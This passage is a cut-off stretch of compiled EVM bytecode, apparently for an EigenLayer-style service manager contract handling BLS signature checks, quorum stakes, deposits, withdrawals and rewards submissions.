e578063df5cf723116100ab578063f9120af61161006f578063f9120af614610794578063fa534dc0146107b4578063fc299dee146107d4578063fce36c7d146107f4578063fd4c3b7c1461081457600080fd5b8063df5cf723146106e8578063e481af9d1461071c578063ea5ca34b14610731578063f2fde38b14610747578063f474b5201461076757600080fd5b8063b099627e116100f2578063b099627e14610611578063b753645e1461067b578063b98d09081461069b578063c0c53b8b146106b5578063d66eaabd146106d557600080fd5b806395c6d604146105715780639926ee7d14610591578063a364f4da146105b1578063a98fb355146105d1578063ab21739a146105f157600080fd5b80634a5bf632116101bc5780636d14a987116101805780636d14a987146104a657806370a08231146104da578063715018a61461051e578063800fb61f146105335780638da5cb5b1461055357600080fd5b80634a5bf632146103a55780634ae07c37146103dd5780635df459461461040b578063683048351461043f5780636b3aa72e1461047357600080fd5b80632e1a7d4d116102035780632e1a7d4d1461030557806333cfb7b7146103255780633bc28c8c14610352578063416c7e5e146103725780634223d5511461039257600080fd5b806306045a911461024a578063137122b51461027f578063171f1d5b146102ae57806318daeeaf146102e557600080fd5b36610245576102433334610834565b005b600080fd5b34801561025657600080fd5b5061026a6102653660046143b0565b6108c9565b60405190151581526020015b60405180910390f35b34801561028b57600080fd5b5061026a61029a366004614451565b60cc54600160ff9092169190911b16151590565b3480156102ba57600080fd5b506102ce6102c936600461452f565b6109c0565b604080519215158352901515602083015201610276565b3480156102f157600080fd5b50610243610300366004614451565b610b4a565b34801561031157600080fd5b50610243610320366004614580565b610b92565b34801561033157600080fd5b50610345610340366004614599565b610c6a565b60405161027691906145b6565b34801561035e57600080fd5b5061024361036d366004614599565b61111d565b34801561037e57600080fd5b5061024361038d366004614605565b611131565b6102436103a0366004614599565b611268565b3480156103b157600080fd5b5060cb546103c5906001600160a01b031681565b6040516001600160a01b039091168152602001610276565b3480156103e957600080fd5b506103fd6103f83660046148fd565b611272565b604051610276929190614998565b34801561041757600080fd5b506103c57f000000000000000000000000998abeb3e57409262ae5b751f60747921b33613e81565b34801561044b57600080fd5b506103c57f00000000000000000000000095401dc811bb5740090279ba06cfa8fcf611377881565b34801561047f57600080fd5b507f0000000000000000000000005fc8d32690cc91d4c39d9d3abcbd16989f8757076103c5565b3480156104b257600080fd5b506103c57f000000000000000000000000851356ae760d987e095750cceb3bc6014560891c81565b3480156104e657600080fd5b506105106104f5366004614599565b6001600160a01b0316600090815260ca602052604090205490565b604051908152602001610276565b34801561052a57600080fd5b506102436121a6565b34801561053f57600080fd5b5061024361054e366004614599565b6121ba565b34801561055f57600080fd5b506033546001600160a01b03166103c5565b34801561057d57600080fd5b5061026a61058c366004614a29565b61225a565b34801561059d57600080fd5b506102436105ac366004614a74565b61227f565b3480156105bd57600080fd5b506102436105cc366004614599565b61234b565b3480156105dd57600080fd5b506102436105ec366004614b2b565b612412565b3480156105fd57600080fd5b5061024361060c366004614b7b565b612466565b34801561061d57600080fd5b5061065961062c366004614580565b60c9602052600090815260409020805460019091015463ffffffff821691640100000000900460ff169083565b6040805163ffffffff9094168452911515602084015290820152606001610276565b34801561068757600080fd5b50610243610696366004614580565b612825565b3480156106a757600080fd5b5060975461026a9060ff1681565b3480156106c157600080fd5b506102436106d0366004614ba2565b612832565b6102436106e3366004614bed565b6129f7565b3480156106f457600080fd5b506103c57f000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc981565b34801561072857600080fd5b50610345612bb1565b34801561073d57600080fd5b5061051060cc5481565b34801561075357600080fd5b50610243610762366004614599565b612f5d565b34801561077357600080fd5b50610510610782366004614599565b60ca6020526000908152604090205481565b3480156107a057600080fd5b506102436107af366004614599565b612fd3565b3480156107c057600080fd5b5061026a6107cf366004614c3f565b612ffd565b3480156107e057600080fd5b506065546103c5906001600160a01b031681565b34801561080057600080fd5b5061024361080f366004614cbf565b613072565b34801561082057600080fd5b5061024361082f366004614451565b613421565b8060000361085d57604051632097692160e11b8152600481018290526024015b60405180910390fd5b6001600160a01b038216600090815260ca602052604081208054839290610885908490614d4a565b90915550506001600160a01b038216600081815260ca60209081526040918290205491519182526000805160206153d2833981519152910160405180910390a25050565b6000806001600160a01b0383166108e157508461090d565b85836040516020016108f4929190614d5d565b6040516020818303038152906040528051906020012090505b600081815260c9602052604081205463ffffffff1690036109325760009150506109b4565b600081815260c96020526040902054640100000000900460ff1661095a5760009150506109b4565b60408051602081018c90529081018a9052606081018990526001600160601b03198816608082015260009060940160408051601f19818403018152919052805160208201209091506109ae87898389613468565b93505050505b98975050505050505050565b60008060007f30644e72e131a029b85045b68181585d2833e84879b9709143e1f593f000000187876000015188602001518860000151600060028110610a0857610a08614d78565b60200201518951600160200201518a60200151600060028110610a2d57610a2d614d78565b60200201518b60200151600160028110610a4957610a49614d78565b602090810291909101518c518d830151604051610aa69a99989796959401988952602089019790975260408801959095526060870193909352608086019190915260a085015260c084015260e08301526101008201526101200190565b6040516020818303038152906040528051906020012060001c610ac99190614d8e565b9050610b3c610ae2610adb8884613480565b8690613511565b610aea6135a6565b610b32610b2385610b1d604080518082018252600080825260209182015281518083019092526001825260029082015290565b90613480565b610b2c8c613666565b90613511565b886201d4c06136f5565b909890975095505050505050565b610b5261390f565b60cc8054600160ff841690811b199091169091556040517f5f52704e8e0190647930ccde0e43e14e89902d7d8c49c5f9e2544029f45ec12a90600090a250565b33600090815260ca6020526040902054811115610be35733600081815260ca602052604090819020549051632e2a182f60e11b81526004810192909252602482018390526044820152606401610854565b33600090815260ca602052604081208054839290610c02908490614db0565b909155505033600081815260ca60209081526040918290205491519182526000805160206153d2833981519152910160405180910390a2604051339082156108fc029083906000818181858888f19350505050158015610c66573d6000803e3d6000fd5b5050565b6040516309aa152760e11b81526001600160a01b0382811660048301526060916000917f000000000000000000000000851356ae760d987e095750cceb3bc6014560891c16906313542a4e90602401602060405180830381865afa158015610cd6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cfa9190614dc3565b60405163871ef04960e01b8152600481018290529091506000906001600160a01b037f000000000000000000000000851356ae760d987e095750cceb3bc6014560891c169063871ef04990602401602060405180830381865afa158015610d65573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d899190614ddc565b90506001600160c01b0381161580610e2357507f000000000000000000000000851356ae760d987e095750cceb3bc6014560891c6001600160a01b0316639aa1653d6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610dfa573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e1e9190614e05565b60ff16155b15610e435760408051600080825260208201909252905b50949350505050565b6000610e57826001600160c01b0316613969565b90506000805b8251811015610f23577f00000000000000000000000095401dc811bb5740090279ba06cfa8fcf61137786001600160a01b0316633ca5a5f5848381518110610ea757610ea7614d78565b01602001516040516001600160e01b031960e084901b16815260f89190911c6004820152602401602060405180830381865afa158015610eeb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f0f9190614dc3565b610f199083614d4a565b9150600101610e5d565b506000816001600160401b03811115610f3e57610f3e614288565b604051908082528060200260200182016040528015610f67578160200160208202803683370190505b5090506000805b8451811015611110576000858281518110610f8b57610f8b614d78565b0160200151604051633ca5a5f560e01b815260f89190911c6004820181905291506000906001600160a01b037f00000000000000000000000095401dc811bb5740090279ba06cfa8fcf61137781690633ca5a5f590602401602060405180830381865afa158015611000573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110249190614dc3565b905060005b81811015611105576040516356e4026d60e11b815260ff84166004820152602481018290527f00000000000000000000000095401dc811bb5740090279ba06cfa8fcf61137786001600160a01b03169063adc804da906044016040805180830381865afa15801561109e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110c29190614e37565b600001518686815181106110d8576110d8614d78565b6001600160a01b0390921660209283029190910190910152846110fa81614e7a565b955050600101611029565b505050600101610f6e565b5090979650505050505050565b61112561390f565b61112e81613a2b565b50565b7f000000000000000000000000851356ae760d987e095750cceb3bc6014560891c6001600160a01b0316638da5cb5b6040518163ffffffff1660e01b8152600401602060405180830381865afa15801561118f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111b39190614e93565b6001600160a01b0316336001600160a01b03161461125f5760405162461bcd60e51b815260206004820152605c60248201527f424c535369676e6174757265436865636b65722e6f6e6c79436f6f7264696e6160448201527f746f724f776e65723a2063616c6c6572206973206e6f7420746865206f776e6560648201527f72206f6620746865207265676973747279436f6f7264696e61746f7200000000608482015260a401610854565b61112e81613a94565b61112e8134610834565b604080518082019091526060808252602082015260008260400151516040518060400160405280600181526020016000815250511480156112ce57508260a0015151604051806040016040528060018152602001600081525051145b80156112f557508260c0015151604051806040016040528060018152602001600081525051145b801561131c57508260e0015151604051806040016040528060018152602001600081525051145b6113865760405162461bcd60e51b815260206004820152604160248201526000805160206153f283398151915260448201527f7265733a20696e7075742071756f72756d206c656e677468206d69736d6174636064820152600d60fb1b608482015260a401610854565b825151602084015151146113fe5760405162461bcd60e51b8152602060048201526044602482018190526000805160206153f2833981519152908201527f7265733a20696e707574206e6f6e7369676e6572206c656e677468206d69736d6064820152630c2e8c6d60e31b608482015260a401610854565b4363ffffffff168463ffffffff161061146d5760405162461bcd60e51b815260206004820152603c60248201526000805160206153f283398151915260448201527f7265733a20696e76616c6964207265666572656e636520626c6f636b000000006064820152608401610854565b60408051808201825260008082526020808301829052835180850185526060808252818301528451808601865260018082529083019390935284518381528086019095529293919082810190803683370190505060208281019190915260408051808201825260018082526000919093015280518281528082019091529081602001602082028036833701905050815260408051808201909152606080825260208201528560200151516001600160401b0381111561152e5761152e614288565b604051908082528060200260200182016040528015611557578160200160208202803683370190505b5081526020860151516001600160401b0381111561157757611577614288565b6040519080825280602002602001820160405280156115a0578160200160208202803683370190505b508160200181905250600061164c60405180604001604052806001815260200160008152507f000000000000000000000000851356ae760d987e095750cceb3bc6014560891c6001600160a01b0316639aa1653d6040518163ffffffff1660e01b8152600401602060405180830381865afa158015611623573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116479190614e05565b613adb565b905060005b8760200151518110156118dd576116968860200151828151811061167757611677614d78565b6020026020010151805160009081526020918201519091526040902090565b836020015182815181106116ac576116ac614d78565b6020908102919091010152801561176c5760208301516116cd600183614db0565b815181106116dd576116dd614d78565b602002602001015160001c836020015182815181106116fe576116fe614d78565b602002602001015160001c1161176c576040805162461bcd60e51b81526020600482015260248101919091526000805160206153f283398151915260448201527f7265733a206e6f6e5369676e65725075626b657973206e6f7420736f727465646064820152608401610854565b7f000000000000000000000000851356ae760d987e095750cceb3bc6014560891c6001600160a01b03166304ec6351846020015183815181106117b1576117b1614d78565b60200260200101518b8b6000015185815181106117d0576117d0614d78565b60200260200101516040518463ffffffff1660e01b815260040161180d9392919092835263ffffffff918216602084015216604082015260600190565b602060405180830381865afa15801561182a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061184e9190614ddc565b6001600160c01b03168360000151828151811061186d5761186d614d78565b6020026020010181815250506118d3610adb6118a7848660000151858151811061189957611899614d78565b602002602001015116613b6e565b8a6020015184815181106118bd576118bd614d78565b6020026020010151613b9990919063ffffffff16565b9450600101611651565b50506118e883613c7c565b60975490935060ff166000816118ff576000611981565b7f000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc96001600160a01b031663c448feb86040518163ffffffff1660e01b8152600401602060405180830381865afa15801561195d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119819190614dc3565b905060005b604051806040016040528060018152602001600081525051811015612077578215611b12578963ffffffff16827f000000000000000000000000851356ae760d987e095750cceb3bc6014560891c6001600160a01b031663249a0c4260405180604001604052806001815260200160008152508581518110611a0a57611a0a614d78565b01602001516040516001600160e01b031960e084901b16815260f89190911c6004820152602401602060405180830381865afa158015611a4e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a729190614dc3565b611a7c9190614d4a565b11611b125760405162461bcd60e51b815260206004820152606660248201526000805160206153f283398151915260448201527f7265733a205374616b6552656769737472792075706461746573206d7573742060648201527f62652077697468696e207769746864726177616c44656c6179426c6f636b732060848201526577696e646f7760d01b60a482015260c401610854565b7f000000000000000000000000998abeb3e57409262ae5b751f60747921b33613e6001600160a01b03166368bccaac60405180604001604052806001815260200160008152508381518110611b6957611b69614d78565b602001015160f81c60f81b60f81c8c8c60a001518581518110611b8e57611b8e614d78565b60209081029190910101516040516001600160e01b031960e086901b16815260ff909316600484015263ffffffff9182166024840152166044820152606401602060405180830381865afa158015611bea573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c0e9190614eb0565b6001600160401b031916611c318a60400151838151811061167757611677614d78565b67ffffffffffffffff191614611ccd5760405162461bcd60e51b815260206004820152606160248201526000805160206153f283398151915260448201527f7265733a2071756f72756d41706b206861736820696e2073746f72616765206460648201527f6f6573206e6f74206d617463682070726f76696465642071756f72756d2061706084820152606b60f81b60a482015260c401610854565b611cfd89604001518281518110611ce657611ce6614d78565b60200260200101518761351190919063ffffffff16565b95507f00000000000000000000000095401dc811bb5740090279ba06cfa8fcf61137786001600160a01b031663c8294c5660405180604001604052806001815260200160008152508381518110611d5657611d56614d78565b602001015160f81c60f81b60f81c8c8c60c001518581518110611d7b57611d7b614d78565b60209081029190910101516040516001600160e01b031960e086901b16815260ff909316600484015263ffffffff9182166024840152166044820152606401602060405180830381865afa158015611dd7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611dfb9190614edb565b85602001518281518110611e1157611e11614d78565b6001600160601b03909216602092830291909101820152850151805182908110611e3d57611e3d614d78565b602002602001015185600001518281518110611e5b57611e5b614d78565b60200260200101906001600160601b031690816001600160601b0316815250506000805b8a602001515181101561206d57611eea86600001518281518110611ea557611ea5614d78565b602002602001015160405180604001604052806001815260200160008152508581518110611ed557611ed5614d78565b016020015160f81c60ff161c60019081161490565b15612065577f00000000000000000000000095401dc811bb5740090279ba06cfa8fcf61137786001600160a01b031663f2be94ae60405180604001604052806001815260200160008152508581518110611f4657611f46614d78565b602001015160f81c60f81b60f81c8e89602001518581518110611f6b57611f6b614d78565b60200260200101518f60e001518881518110611f8957611f89614d78565b60200260200101518781518110611fa257611fa2614d78565b60209081029190910101516040516001600160e01b031960e087901b16815260ff909416600485015263ffffffff92831660248501526044840191909152166064820152608401602060405180830381865afa158015612006573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061202a9190614edb565b875180518590811061203e5761203e614d78565b602002602001018181516120529190614ef8565b6001600160601b03169052506001909101905b600101611e7f565b5050600101611986565b5050506000806120918a868a606001518b608001516109c0565b91509150816121025760405162461bcd60e51b815260206004820152604360248201526000805160206153f283398151915260448201527f7265733a2070616972696e6720707265636f6d70696c652063616c6c206661696064820152621b195960ea1b608482015260a401610854565b806121635760405162461bcd60e51b815260206004820152603960248201526000805160206153f283398151915260448201527f7265733a207369676e617475726520697320696e76616c6964000000000000006064820152608401610854565b5050600087826020015160405160200161217e929190614f17565b60408051808303601f1901815291905280516020909101209299929850919650505050505050565b6121ae61390f565b6121b86000613d17565b565b600054600290610100900460ff161580156121dc575060005460ff8083169116105b6121f85760405162461bcd60e51b815260040161085490614f5f565b6000805461ffff191660ff83161761010017905561221582612fd3565b6000805461ff001916905560405160ff821681527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15050565b600081848460405161226d929190614fad565b60405180910390201490509392505050565b336001600160a01b037f000000000000000000000000851356ae760d987e095750cceb3bc6014560891c16146122c75760405162461bcd60e51b815260040161085490614fbd565b604051639926ee7d60e01b81526001600160a01b037f0000000000000000000000005fc8d32690cc91d4c39d9d3abcbd16989f8757071690639926ee7d90612315908590859060040161507b565b600060405180830381600087803b15801561232f57600080fd5b505af1158015612343573d6000803e3d6000fd5b505050505050565b336001600160a01b037f000000000000000000000000851356ae760d987e095750cceb3bc6014560891c16146123935760405162461bcd60e51b815260040161085490614fbd565b6040516351b27a6d60e11b81526001600160a01b0382811660048301527f0000000000000000000000005fc8d32690cc91d4c39d9d3abcbd16989f875707169063a364f4da906024015b600060405180830381600087803b1580156123f757600080fd5b505af115801561240b573d6000803e3d6000fd5b5050505050565b61241a61390f565b60405163a98fb35560e01b81526001600160a01b037f0000000000000000000000005fc8d32690cc91d4c39d9d3abcbd16989f875707169063a98fb355906123dd9084906004016150c6565b60cb546001600160a01b031633146124a65760cb54604051632cbe419560e01b81523360048201526001600160a01b039091166024820152604401610854565b60005a9050600084846040516020016124c0929190614d5d565b60408051601f198184030181529181528151602092830120600081815260c990935290822080549193509163ffffffff9091169003612515576040516311cb69a760e11b815260048101839052602401610854565b8054640100000000900460ff161561254357604051634e78d7f960e11b815260048101839052602401610854565b805464ff00000000191664010000000017815560018101546001600160a01b038616600090815260ca602052604090205410156125c65760018101546001600160a01b038616600081815260ca602052604090819020549051632e2a182f60e11b8152600481019290925260248201929092526044810191909152606401610854565b80546000906125dd90849063ffffffff1687611272565b509050604360ff1681602001516000815181106125fc576125fc614d78565b602002602001015161260e91906150d9565b6001600160601b03166064826000015160008151811061263057612630614d78565b60200260200101516001600160601b031661264b9190615102565b10156126de576064816000015160008151811061266a5761266a614d78565b60200260200101516001600160601b03166126859190615102565b604360ff1682602001516000815181106126a1576126a1614d78565b60200260200101516126b391906150d9565b60405163530f5c4560e11b815260048101929092526001600160601b03166024820152604401610854565b6040516001600160a01b038716815287907f8511746b73275e06971968773119b9601fc501d7bdf3824d8754042d148940e29060200160405180910390a260003a5a61272a9087614db0565b6127379062011170614d4a565b6127419190615102565b9050826001015481111561277857600183015460405163437e283f60e11b8152600481019190915260248101829052604401610854565b6001600160a01b038716600090815260ca6020526040812080548392906127a0908490614db0565b90915550506001600160a01b038716600081815260ca60209081526040918290205491519182526000805160206153d2833981519152910160405180910390a260cb546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561281a573d6000803e3d6000fd5b505050505050505050565b61282d61390f565b60cc55565b600054610100900460ff16158080156128525750600054600160ff909116105b8061286c5750303b15801561286c575060005460ff166001145b6128885760405162461bcd60e51b815260040161085490614f5f565b6000805460ff1916600117905580156128ab576000805461ff0019166101001790555b6001600160a01b0384166128f157604051630b0f5aa160e11b815260206004820152600c60248201526b34b734ba34b0b627bbb732b960a11b6044820152606401610854565b6001600160a01b03831661293b57604051630b0f5aa160e11b815260206004820152601060248201526f3932bbb0b93239a4b734ba34b0ba37b960811b6044820152606401610854565b6001600160a01b03821661298657604051630b0f5aa160e11b815260206004820152601160248201527030b634b3b732b220b3b3b932b3b0ba37b960791b6044820152606401610854565b6129908484613d69565b60cb80546001600160a01b0319166001600160a01b03841617905580156129f1576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b50505050565b60008433604051602001612a0c929190614d5d565b60408051601f198184030181529181528151602092830120600081815260c990935291205490915063ffffffff1615612a5b57604051630c40bc4360e21b815260048101829052602401610854565b3415612ab85733600090815260ca602052604081208054349290612a80908490614d4a565b909155505033600081815260ca60209081526040918290205491519182526000805160206153d2833981519152910160405180910390a25b33600090815260ca6020526040902054821115612b095733600081815260ca602052604090819020549051632e2a182f60e11b81526004810192909252602482018490526044820152606401610854565b604080516060810182526000602080830182815263ffffffff43818116865285870189815288865260c99094529386902085518154935115156401000000000264ffffffffff1990941692169190911791909117815590516001909101559151909187917f8801fc966deb2c8f563a103c35c9e80740585c292cd97518587e6e7927e6af5591612ba1913391908a908a908a90615119565b60405180910390a2505050505050565b606060007f000000000000000000000000851356ae760d987e095750cceb3bc6014560891c6001600160a01b0316639aa1653d6040518163ffffffff1660e01b8152600401602060405180830381865afa158015612c13573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612c379190614e05565b60ff16905080600003612c5857505060408051600081526020810190915290565b6000805b82811015612d0357604051633ca5a5f560e01b815260ff821660048201527f00000000000000000000000095401dc811bb5740090279ba06cfa8fcf61137786001600160a01b031690633ca5a5f590602401602060405180830381865afa158015612ccb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612cef9190614dc3565b612cf99083614d4a565b9150600101612c5c565b506000816001600160401b03811115612d1e57612d1e614288565b604051908082528060200260200182016040528015612d47578160200160208202803683370190505b5090506000805b7f000000000000000000000000851356ae760d987e095750cceb3bc6014560891c6001600160a01b0316639aa1653d6040518163ffffffff1660e01b8152600401602060405180830381865afa158015612dac573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612dd09190614e05565b60ff16811015612f5357604051633ca5a5f560e01b815260ff821660048201526000907f00000000000000000000000095401dc811bb5740090279ba06cfa8fcf61137786001600160a01b031690633ca5a5f590602401602060405180830381865afa158015612e44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612e689190614dc3565b905060005b81811015612f49576040516356e4026d60e11b815260ff84166004820152602481018290527f00000000000000000000000095401dc811bb5740090279ba06cfa8fcf61137786001600160a01b03169063adc804da906044016040805180830381865afa158015612ee2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612f069190614e37565b60000151858581518110612f1c57612f1c614d78565b6001600160a01b039092166020928302919091019091015283612f3e81614e7a565b945050600101612e6d565b5050600101612d4e565b5090949350505050565b612f6561390f565b6001600160a01b038116612fca5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610854565b61112e81613d17565b612fdb61390f565b60cb80546001600160a01b0319166001600160a01b0392909216919091179055565b6040516306045a9160e01b815260009030906306045a9190613031908b908b908b908b908b908b908b908b90600401615170565b602060405180830381865afa15801561304e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109b491906151d2565b6065546001600160a01b031633146131075760405162461bcd60e51b815260206004820152604c60248201527f536572766963654d616e61676572426173652e6f6e6c7952657761726473496e60448201527f69746961746f723a2063616c6c6572206973206e6f742074686520726577617260648201526b32399034b734ba34b0ba37b960a11b608482015260a401610854565b60005b818110156133d25782828281811061312457613124614d78565b905060200281019061313691906151ef565b613147906040810190602001614599565b6001600160a01b03166323b872dd333086868681811061316957613169614d78565b905060200281019061317b91906151ef565b604080516001600160e01b031960e087901b1681526001600160a01b039485166004820152939092166024840152013560448201526064016020604051808303816000875af11580156131d2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906131f691906151d2565b50600083838381811061320b5761320b614d78565b905060200281019061321d91906151ef565b61322e906040810190602001614599565b604051636eb1769f60e11b81523060048201526001600160a01b037f0000000000000000000000000165878a594ca255338adfa4d48449f69242eb8f81166024830152919091169063dd62ed3e90604401602060405180830381865afa15801561329c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906132c09190614dc3565b90508383838181106132d4576132d4614d78565b90506020028101906132e691906151ef565b6132f7906040810190602001614599565b6001600160a01b031663095ea7b37f0000000000000000000000000165878a594ca255338adfa4d48449f69242eb8f8387878781811061333957613339614d78565b905060200281019061334b91906151ef565b604001356133599190614d4a565b6040516001600160e01b031960e085901b1681526001600160a01b03909216600483015260248201526044016020604051808303816000875af11580156133a4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906133c891906151d2565b505060010161310a565b5060405163fce36c7d60e01b81526001600160a01b037f0000000000000000000000000165878a594ca255338adfa4d48449f69242eb8f169063fce36c7d906123159085908590600401615276565b61342961390f565b60cc8054600160ff841690811b9091179091556040517fec54a85c01b5fc7fb41be0f33eabc56f2981110da8317b9817bc7c718f6d7bfe90600090a250565b600083613476868585613de6565b1495945050505050565b604080518082019091526000808252602082015261349c614196565b835181526020808501519082015260408082018490526000908360608460076107d05a03fa905080806134cb57fe5b50806135095760405162461bcd60e51b815260206004820152600d60248201526c1958cb5b5d5b0b59985a5b1959609a1b6044820152606401610854565b505092915050565b604080518082019091526000808252602082015261352d6141b4565b835181526020808501518183015283516040808401919091529084015160608301526000908360808460066107d05a03fa9050808061356857fe5b50806135095760405162461bcd60e51b815260206004820152600d60248201526c1958cb5859190b59985a5b1959609a1b6044820152606401610854565b6135ae6141d2565b50604080516080810182527f198e9393920d483a7260bfb731fb5d25f1aa493335a9e71297e485b7aef312c28183019081527f1800deef121f1e76426a00665e5c4479674322d4f75edadd46debd5cd992f6ed6060830152815281518083019092527f275dc4a288d1afb3cbb1ac09187524c7db36395df7be3b99e673b13a075a65ec82527f1d9befcd05a5323e6da4d435f3b617cdb3af83285c2df711ef39c01571827f9d60208381019190915281019190915290565b6040805180820190915260008082526020820152600080806136966000805160206153b283398151915286614d8e565b90505b6136a281613ee3565b90935091506000805160206153b283398151915282830983036136db576040805180820190915290815260208101919091529392505050565b6000805160206153b2833981519152600182089050613699565b6040805180820182528681526020808201869052825180840190935286835282018490526000918291906137276141f7565b60005b60028110156138e2576000613740826006615102565b905084826002811061375457613754614d78565b60200201515183613766836000614d4a565b600c811061377657613776614d78565b602002015284826002811061378d5761378d614d78565b602002015160200151838260016137a49190614d4a565b600c81106137b4576137b4614d78565b60200201528382600281106137cb576137cb614d78565b60200201515151836137de836002614d4a565b600c81106137ee576137ee614d78565b602002015283826002811061380557613805614d78565b602002015151600160200201518361381e836003614d4a565b600c811061382e5761382e614d78565b602002015283826002811061384557613845614d78565b60200201516020015160006002811061386057613860614d78565b602002015183613871836004614d4a565b600c811061388157613881614d78565b602002015283826002811061389857613898614d78565b6020020151602001516001600281106138b3576138b3614d78565b6020020151836138c4836005614d4a565b600c81106138d4576138d4614d78565b60200201525060010161372a565b506138eb614216565b60006020826101808560088cfa9151919c9115159b50909950505050505050505050565b6033546001600160a01b031633146121b85760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610854565b606060008061397784613b6e565b61ffff166001600160401b0381111561399257613992614288565b6040519080825280601f01601f1916602001820160405280156139bc576020820181803683370190505b5090506000805b8251821080156139d4575061010081105b15612f53576001811b935085841615613a1b578060f81b8383815181106139fd576139fd614d78565b60200101906001600160f81b031916908160001a9053508160010191505b613a2481614e7a565b90506139c3565b606554604080516001600160a01b03928316815291831660208301527fe11cddf1816a43318ca175bbc52cd0185436e9cbead7c83acc54a73e461717e3910160405180910390a1606580546001600160a01b0319166001600160a01b0392909216919091179055565b6097805460ff19168215159081179091556040519081527f40e4ed880a29e0f6ddce307457fb75cddf4feef7d3ecb0301bfdf4976a0e2dfc9060200160405180910390a150565b600080613ae784613f65565b9050808360ff166001901b11613b655760405162461bcd60e51b815260206004820152603f60248201527f4269746d61705574696c732e6f72646572656442797465734172726179546f4260448201527f69746d61703a206269746d61702065786365656473206d61782076616c7565006064820152608401610854565b90505b92915050565b6000805b8215613b6857613b83600184614db0565b9092169180613b9181615390565b915050613b72565b60408051808201909152600080825260208201526102008261ffff1610613bf55760405162461bcd60e51b815260206004820152601060248201526f7363616c61722d746f6f2d6c6172676560801b6044820152606401610854565b8161ffff16600103613c08575081613b68565b6040805180820190915260008082526020820181905284906001905b8161ffff168661ffff1610613c7157600161ffff871660ff83161c81169003613c5457613c518484613511565b93505b613c5e8384613511565b92506201fffe600192831b169101613c24565b509195945050505050565b60408051808201909152600080825260208201528151158015613ca157506020820151155b15613cbf575050604080518082019091526000808252602082015290565b6040518060400160405280836000015181526020016000805160206153b28339815191528460200151613cf29190614d8e565b613d0a906000805160206153b2833981519152614db0565b905292915050565b919050565b603380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b600054610100900460ff16613dd45760405162461bcd60e51b815260206004820152602b60248201527f496e697469616c697a61626c653a20636f6e7472616374206973206e6f74206960448201526a6e697469616c697a696e6760a81b6064820152608401610854565b613ddd82613d17565b610c6681613a2b565b600060208451613df69190614d8e565b15613e7d5760405162461bcd60e51b815260206004820152604b60248201527f4d65726b6c652e70726f63657373496e636c7573696f6e50726f6f664b65636360448201527f616b3a2070726f6f66206c656e6774682073686f756c642062652061206d756c60648201526a3a34b836329037b310199960a91b608482015260a401610854565b8260205b85518111610e3a57613e94600285614d8e565b600003613eb857816000528086015160205260406000209150600284049350613ed1565b8086015160005281602052604060002091506002840493505b613edc602082614d4a565b9050613e81565b600080806000805160206153b283398151915260036000805160206153b2833981519152866000805160206153b2833981519152888909090890506000613f59827f0c19139cb84c680a6e14116da060561765e05aa45a1c72a34f082305b61f3f526000805160206153b28339815191526140ed565b91959194509092505050565b600061010082511115613fee5760405162461bcd60e51b8152602060048201526044602482018190527f4269746d61705574696c732e6f72646572656442797465734172726179546f42908201527f69746d61703a206f7264657265644279746573417272617920697320746f6f206064820152636c6f6e6760e01b608482015260a401610854565b8151600003613fff57506000919050565b6000808360008151811061401557614015614d78565b0160200151600160f89190911c81901b92505b84518110156140e45784818151811061404357614043614d78565b0160200151600160f89190911c1b91508282116140d85760405162461bcd60e51b815260206004820152604760248201527f4269746d61705574696c732e6f72646572656442797465734172726179546f4260448201527f69746d61703a206f72646572656442797465734172726179206973206e6f74206064820152661bdc99195c995960ca1b608482015260a401610854565b91811791600101614028565b50909392505050565b6000806140f8614216565b614100614234565b602080825281810181905260408201819052606082018890526080820187905260a082018690528260c08360056107d05a03fa9250828061413d57fe5b508261418b5760405162461bcd60e51b815260206004820152601a60248201527f424e3235342e6578704d6f643a2063616c6c206661696c7572650000000000006044820152606401610854565b505195945050505050565b60405180606001604052806003906020820280368337509192915050565b60405180608001604052806004906020820280368337509192915050565b60405180604001604052806141e5614252565b81526020016141f2614252565b905290565b604051806101800160405280600c906020820280368337509192915050565b60405180602001604052806001906020820280368337509192915050565b6040518060c001604052806006906020820280368337509192915050565b60405180604001604052806002906020820280368337509192915050565b80356001600160601b031981168114613d1257600080fd5b634e487b7160e01b600052604160045260246000fd5b604080519081016001600160401b03811182821017156142c0576142c0614288565b60405290565b60405161010081016001600160401b03811182821017156142c0576142c0614288565b604051601f820160